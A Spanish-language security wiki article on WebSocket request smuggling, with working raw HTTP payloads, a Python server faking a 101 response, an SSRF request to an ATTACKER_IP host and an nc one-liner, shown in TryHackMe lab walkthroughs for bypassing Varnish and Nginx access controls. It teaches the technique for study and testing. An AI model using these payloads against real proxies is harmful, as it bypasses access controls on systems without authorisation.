Ataques y defensa

WebSocket Request Smuggling

#blueteam#injection#redteam#web

WebSocket Request Smuggling es una técnica de request smuggling que abusa del mecanismo de upgrade de WebSocket para crear un túnel no supervisado a través de un proxy vulnerable. El…

Definición

WebSocket Request Smuggling es una técnica de request smuggling que abusa del mecanismo de upgrade de WebSocket para crear un túnel no supervisado a través de un proxy vulnerable. El atacante engaña al proxy haciéndole creer que la conexión ha sido actualizada al protocolo WebSocket, pero el backend continúa procesando tráfico HTTP. Esto permite hacer tunneling de peticiones HTTP al backend, bypasando las restricciones ACL del proxy frontend.

Esta técnica solo permite request tunneling (no puede envenenar las conexiones de otros usuarios), pero es suficiente para bypass de controles de acceso frontend.

Contexto

WebSocket: funcionamiento básico

WebSocket es un protocolo de comunicación bidireccional full-duplex entre cliente y servidor, diseñado para superar la limitación de HTTP donde el cliente siempre inicia la comunicación. Es especialmente útil para notificaciones en tiempo real, chat, dashboards live y cualquier aplicación que requiera push del servidor.

Proceso de upgrade HTTP → WebSocket:

  1. El cliente envía un HTTP/1.1 con Upgrade: websocket y headers adicionales (Sec-WebSocket-Key, Sec-WebSocket-Version).
  2. Si el servidor soporta WebSockets, responde con 101 Switching Protocols.
  3. A partir de ese punto, la conexión usa el protocolo WebSocket (no HTTP).

Cuando hay un proxy en medio, la mayoría de los proxies no manejan el upgrade ellos mismos sino que lo reenvían al backend. Una vez que el backend confirma el upgrade con 101, el proxy establece un túnel transparente entre cliente y servidor, sin inspeccionar el tráfico posterior (asume que es protocolo WebSocket).

Por qué esto importa para seguridad

El proxy, al establecer el túnel, deja de aplicar sus reglas de seguridad (ACL, WAF, filtros) sobre el tráfico tunnelado. Si un atacante puede crear un falso túnel WebSocket, puede enviar peticiones HTTP directamente al backend sin pasar por los controles del proxy.

Impacto

  • Bypass de restricciones ACL del proxy frontend.
  • Acceso a endpoints protegidos o internos no expuestos directamente.
  • Bypass de WAF en proxies que filtran el tráfico HTTP pero no WebSocket.
  • Bajo las condiciones adecuadas, cache poisoning (combinando con otras técnicas).

Desarrollo

Técnica 1: Versión WebSocket inválida (proxy que no verifica respuesta)

Algunos proxies asumen que el upgrade WebSocket siempre tiene éxito, sin verificar la respuesta del servidor. Si el backend responde con 426 Upgrade Required (versión no soportada), el proxy lo ignora y establece el túnel de todas formas.

Explotación:

  1. Enviar un request de upgrade WebSocket con un Sec-WebSocket-Version inválido (ej. 777). La versión estándar actual es 13; cualquier valor no soportado genera un 426 del servidor.
  2. El backend responde 426 (la conexión NO se actualiza a WebSocket, sigue siendo HTTP).
  3. El proxy vulnerable ve el request de upgrade y asume éxito sin comprobar el código de respuesta → establece túnel.
  4. El atacante puede ahora enviar peticiones HTTP directas al backend a través del túnel (el proxy cree que es tráfico WebSocket y no lo inspecciona).

Payload (HTTP/1.1 raw):

GET /socket HTTP/1.1
Host: TARGET:8001
Sec-WebSocket-Version: 777
Upgrade: WebSocket
Connection: Upgrade
Sec-WebSocket-Key: nf6dB8Pb/BLinZ7UexUXHg==
GET /flag HTTP/1.1
Host: TARGET:8001

Importante: añadir dos newlines (\r\n\r\n) al final del payload en Burp. Desactivar “Update Content-Length” para que Burp no modifique la petición.

Variante — sin endpoint WebSocket real: algunos proxies no verifican ni siquiera si el endpoint al que se hace el upgrade existe o soporta WebSocket. Basta con que el request parezca un upgrade válido:

GET / HTTP/1.1
Host: TARGET:8001
Sec-WebSocket-Version: 13
Upgrade: WebSocket
Connection: Upgrade
Sec-WebSocket-Key: nf6dB8Pb/BLinZ7UexUXHg==
GET /flag HTTP/1.1
Host: TARGET:8001

Técnica 2: Proxy que verifica la respuesta (Nginx) — Leveraging SSRF

Nginx y otros proxies bien configurados sí verifican que el servidor responda 101 Switching Protocols antes de establecer el túnel. Con un simple 426, Nginx rechaza el tunneling.

Solución: si la aplicación tiene una vulnerabilidad SSRF (Server-Side Request Forgery) que permita dirigir requests a un servidor controlado por el atacante, se puede usar ese SSRF para inyectar una respuesta 101 falsa.

Flujo del ataque:

  1. La aplicación tiene un endpoint vulnerable a SSRF, por ejemplo /check-url?server=<URL> que hace un GET a la URL indicada y devuelve el status code.
  2. El atacante levanta un servidor web malicioso (en el AttackBox) que responde 101 Switching Protocols a cualquier request:
from http.server import HTTPServer, BaseHTTPRequestHandler
import sys
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.protocol_version = "HTTP/1.1"
self.send_response(101)
self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
  1. Enviar el payload de upgrade WebSocket usando el endpoint SSRF como destino:
GET /check-url?server=http://ATTACKER_IP:5555 HTTP/1.1
Host: TARGET:8002
Sec-WebSocket-Version: 13
Upgrade: WebSocket
Connection: Upgrade
Sec-WebSocket-Key: nf6dB8Pb/BLinZ7UexUXHg==
GET /flag HTTP/1.1
Host: TARGET:8002
  1. El backend hace un GET al servidor del atacante (via SSRF). El atacante responde 101. El proxy recibe el 101 y considera el upgrade exitoso → establece el túnel.
  2. El segundo request (GET /flag) se envía directamente al backend a través del túnel, bypaseando las ACLs.

Ejemplos

Bypass de ACL con proxy Varnish vulnerable (Lab TryHackMe)

Entorno: Varnish proxy. El proxy bloquea el acceso a /flag. Existe endpoint WebSocket en /socket.

Procedimiento:

  1. En Burp Suite Repeater, desactivar “Update Content-Length”.
  2. Enviar el siguiente payload raw (notar los dos newlines finales):
GET /socket HTTP/1.1
Host: MACHINE_IP:8001
Sec-WebSocket-Version: 777
Upgrade: WebSocket
Connection: Upgrade
Sec-WebSocket-Key: nf6dB8Pb/BLinZ7UexUXHg==
GET /flag HTTP/1.1
Host: MACHINE_IP:8001
  1. La primera respuesta es 426 del backend (upgrade fallido). El proxy Varnish, sin verificar la respuesta, establece el túnel.
  2. El segundo request GET /flag se envía por el túnel → el backend lo procesa como HTTP normal → responde con el contenido de /flag.

Alternativa con nc (si Burp falla aleatoriamente):

Terminal window
echo -e "GET / HTTP/1.1\r\nHost: MACHINE_IP:8001\r\nSec-WebSocket-Version: 13\r\nUpgrade: WebSocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: nf6dB8Pb/BLinZ7UexUXHg==\r\n\r\nGET /flag HTTP/1.1\r\nHost: MACHINE_IP:8001\r\n\r\n" | nc MACHINE_IP 8001

Bypass de ACL con proxy Nginx + SSRF (Lab TryHackMe)

Entorno: Nginx proxy (verifica respuesta del upgrade). Aplicación con /check-url vulnerable a SSRF. Target: /flag bloqueado por ACL.

Procedimiento:

  1. Verificar SSRF: nc -lvp 5555 en AttackBox, usar la app para hacer request a http://ATTACKER_IP:5555/test. Confirmar que se recibe la petición.
  2. Lanzar servidor malicioso que responde 101:
Terminal window
python3 myserver.py 5555
  1. En Burp Repeater, enviar (dos newlines finales):
GET /check-url?server=http://ATTACKER_IP:5555 HTTP/1.1
Host: MACHINE_IP:8002
Sec-WebSocket-Version: 13
Upgrade: WebSocket
Connection: Upgrade
Sec-WebSocket-Key: nf6dB8Pb/BLinZ7UexUXHg==
GET /flag HTTP/1.1
Host: MACHINE_IP:8002
  1. El backend hace GET al servidor del atacante → recibe 101 → Nginx acepta el upgrade → establece túnel → GET /flag se envía al backend → flag obtenida.

Pitfalls

  • El ataque solo permite request tunneling: no es posible envenenar las conexiones de otros usuarios con esta técnica. El impacto se limita al bypass de ACL y operaciones sobre los propios requests del atacante.
  • Newlines al final del payload: en Burp, añadir siempre dos \r\n (newlines vacíos) después del último header del segundo request. Sin ellos, el backend puede no procesar el request smuggled correctamente. Con nc funciona de forma más consistente.
  • Burp puede fallar aleatoriamente: la técnica con Sec-WebSocket-Version: 13 sobre endpoints no-WebSocket tiene comportamiento no determinista en Burp. Usar nc directamente si el ataque falla repetidamente.
  • El endpoint de upgrade debe ser permitido por el proxy: para que el upgrade pase por el proxy, el endpoint al que se hace el GET inicial debe estar en la ACL permitida. Si el proxy bloquea también el endpoint de la conexión WebSocket, el ataque no funciona.
  • Proxies que sí verifican: Nginx y proxies modernos comprueban el código de respuesta del upgrade. Para estos casos, se necesita SSRF u otro mecanismo para inyectar el 101 falso.
  • Sin WebSocket real en el backend: en algunos proxies, no hace falta un endpoint WebSocket real. Enviar el upgrade a / o cualquier otro endpoint puede ser suficiente para engañar al proxy.

Diagrama

sequenceDiagram
    participant A as Atacante
    participant P as Proxy (Varnish/Nginx)
    participant B as Backend (HTTP)
    participant S as Servidor malicioso (SSRF)

    Note over A,B: Técnica 1 - Proxy sin verificación de respuesta (Varnish)
    A->>P: GET /socket Upgrade:WebSocket Version:777
    P->>B: Reenvía upgrade request
    B->>P: 426 Upgrade Required (upgrade FALLIDO)
    P->>P: No verifica respuesta → asume éxito
    Note over A,P: Túnel WebSocket establecido (falso)
    A->>P: GET /flag HTTP/1.1 (por el túnel)
    P->>B: Reenvía sin inspeccionar (cree que es WS)
    B->>A: Contenido de /flag (bypass ACL)

    Note over A,B: Técnica 2 - Proxy con verificación (Nginx) + SSRF
    A->>P: GET /check-url?server=ATTACKER Upgrade:WebSocket
    P->>B: Reenvía request con upgrade headers
    B->>S: GET /ATTACKER (via SSRF)
    S->>B: 101 Switching Protocols (falso)
    B->>P: 101 (respuesta del servidor malicioso)
    P->>P: Recibe 101 → upgrade aceptado
    Note over A,P: Túnel establecido vía SSRF
    A->>P: GET /flag HTTP/1.1 (por el túnel)
    P->>B: Reenvía → flag obtenida

Referencias

Ver también: HTTP Request Smuggling, HTTP2 Request Smuggling, HTTP Browser Desync, Burp Suite